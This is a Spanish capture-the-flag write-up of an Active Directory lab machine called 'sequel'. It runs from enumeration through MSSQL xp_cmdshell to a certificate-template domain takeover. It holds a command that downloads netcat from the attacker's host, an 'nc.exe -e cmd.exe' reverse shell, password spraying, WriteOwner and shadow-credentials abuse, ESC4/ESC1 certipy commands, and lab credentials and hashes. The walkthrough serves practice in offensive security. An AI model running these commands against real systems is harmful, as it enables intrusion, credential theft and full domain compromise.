Descripción:#
En esta maquina tendremos aspectos bastante interesantes como el uso deun xslx como un zip para esconder la información, el uso de mssql para montar una revshell y la explotación de dos vulnerabilidades WriteOwner y Shadow Credentials
Enumeración#
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.93.128 -oG allports
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49696,49717,49737,63105 10.129.93.128 -oN target
# Nmap 7.94SVN scan initiated Sat Jan 11 19:12:27 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49696,49717,49737,63105 -oN target 10.129.93.128
Nmap scan report for 10.129.93.128
Host is up (0.56s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-12 00:12:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T00:14:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.129.93.128:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-11T21:52:07
|_Not valid after: 2055-01-11T21:52:07
|_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time.
| ms-sql-info:
| 10.129.93.128:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T00:14:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T00:14:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49717/tcp open msrpc Microsoft Windows RPC
49737/tcp open msrpc Microsoft Windows RPC
63105/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-12T00:13:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 11 19:14:28 2025 -- 1 IP address (1 host up) scanned in 121.83 seconds
De la enumeración inicial de puertos podemos ver que va a ser una maquina de AD por el puerto 88 que almacenaun kerberos otro puerto interesante que no siempre esta presente es el 1433 que tiene un servicio mssql.
nxc smb 10.129.93.128 -u rose -p 'KxEPkKe6R8su' --users
Con netexec vamos a listar tanto los usuarios como las politicas de las contraseñas, en la primera podemos ver que hay 9 usuarios donde dos de esos son de servicio y podemos ver un usuario de servicio llamado ca_svc lo que nos indica que muy probablemente para el escalado a root lo vamos a tener que hacer mediante este usuario ya que generalmente esta asociado a Certificate Authority (CA) que es el servicio que se encarga de emitir y gestionar los certificados.
nxc smb 10.129.93.128 -u rose -p 'KxEPkKe6R8su' --pass-pol
Listamos politicas de contraseñas y podemos ver que la complejidad esta desactivada y podemos hacer fuerza bruta a los usuarios debido a que el Account Lockout Threshold esta desactivado.
smbclient -L 10.129.93.128 -U rose
Con el siguiente comando vamos a listar los recursos que estan compartidos en la maquina a ver si conseguimos algo que nos pueda ser util.
Ya sabiando que recursos estan compartidos vamos a tratar de acceder a Accounting Department.
smbclient //10.129.93.128/Accounting\ Department -U rose
Cuando ingresamos y listamos los archivos presentes vemos dos Hojas de calculo xslx por lo que las vamos a descargar a nuestra maquina con el comando get “nombre del archivo”.
Si intentamos abrir estos archivos de forma normal veremos que no hay nada legible en ellos, despues de investigar un poco encontramos que un xslx se comporta como un tipo de archivo comprimido y hay un archivo que guarda las celdas en texto plano por lo que vamos a descomprimirlo y abrir dicho archivo.
7z x accounts.xslx
cat xl/sharedStrings.xml
Vamos a revisar el archivo xl/sharedStrings.xml y ahi vamos a encontrar diferentes usuarios y contraseñas, entre ellas destaca una contraseña debido a que hace referencia al servicio mssql por lo que con ese usuario y contraseña vamos a ingresar a dicho servicio.
Foothold#
impacket-mssqlclient sa@IP
Ya dentro del servicio de mssql lo que vamos a hacer es activar la opcion para ejecutar algunos comandos y así conseguir una revershell luego.
#En mssql
enable_xp_cmdshell;
RECONFIGURE;
#En kali
sudo apt install windows-binaries
cp /usr/share/windows-binaries/nc.exe
python3 -m http.server 8000
#En mssql
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe"
#En kali
nc -lvnp 4444
#En mssql
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc.exe -e cmd.exe 10.10.16.21 4444"
Listo ya con esto podemos ver que tenemos una consola por lo que ahora vamos a investigar para poder allar la forma de iniciar sesion en un usuario con mas privilegios.
Despues de buscar un poco por la maquina encontramos un archivo donde se encontraba una contraseña, el archivo esta ubicado en C:\SQL2019\ExpressAdv_ENU y se llama sql-configuration.ini.
Ya con esa contraseña lo que vamos a intentar es un password spraying para ver si tambien la tiene algun otro usuario.
nxc smb 192.168.1.101 -u /path/to/users.txt -p "password"
Despues de ejecutar el anterior comando nos dira que la contraseña tambien es util para ryan y si iniciamos sesion con evil-winrm y nos dirigimos al Desktop tendremos la flag de usuario.
Lateral Movement#
Con bloodhund podemos ver que tenemos permisos para hacer un writeowner desde ryan a ca_svc por lo que vamos a usar impacket y certipy. Vamos a seguir los pasos de kali para esto https://www.kali.org/tools/bloodhound/.
sudo neo4j
bloodhound-python -u 'ryan' -p 'password' -ns ip -d sequel.htb -c all
neo4j
bloodhund
Despues de cargar los archivos que nos debio dejar el comando bloodhund-python al bloodhund podremos buscar a nuestro usuario ryan, y veremos que podemos conseguir otro usuario el cual seria ca_svc mediate un WriteOwner si bien hay diferentes formas de explotar esto nosotros lo vamos a hacer mediante un shadow credentials.
Vamos a asegurarnos de ejecutar los comandos lo mas rapido posible debido a que sino la maquina no nos dejara ejecutar el shadow credentiasl, los dos primeros comandos se ejecutan con el fin de modificar el propietario del usuario ca_svc para poder tener todos los permisos sobre este usuario.
impacket-owneredit -action write -new-owner ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
impacket-dacledit -action 'write' -rights 'FullControl' -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
#Instalar certipy
python3 -m venv env
source env/bin/activate
pip3 install certipy-ad
certipy shadow auto -username ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account ca_svc
Con esto habremos conseguido el hash para ca_svc y podremos hacer un passhash 3b181b914e7a9d5508ea1e20bc2b7fce
Privilege Escalation#
Ya con el hash del usuario ca_svc vamos a revisar los certificados esperando alguna mala configuración que nos permita escalar privilegios para eso vamos a ejecutar el siguiente comando:
certipy find -dc-ip 10.10.11.41 -u ca_svc -hashes "hash"
Esto nos va a dejar un txt que si lo abrimos y revisamos nos daremos cuenta que hay una vulnerabilidad ESC4 con una template DunderMifflinAuthentication lo que vamos a hacer ahora con los siguientes comandos es modificar el certificado para que sea vulnerable a ESC1 y luego solicitar el certificado de otro UPN (User Principal Name) como si fueramos nosotros y con esto robarle el hash.
certipy template -username ca@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -save-old
certipy req -username ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target 10.129.93.128 -template DunderMifflinAuthentication -upn administrator@sequel.htb -dns dc.sequel.htb
Ya con el certificado en nuestra maquina vamos a extraer el hash y a conectarnos como administrators con el hash para poder obtener la flag de root.
certipy auth -pfx administrator_dc.pfx -domain sequel.htb -username administrator -dc-ip 10.129.1.209
evil-winrm -i 10.129.93.128 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Listo root easy.







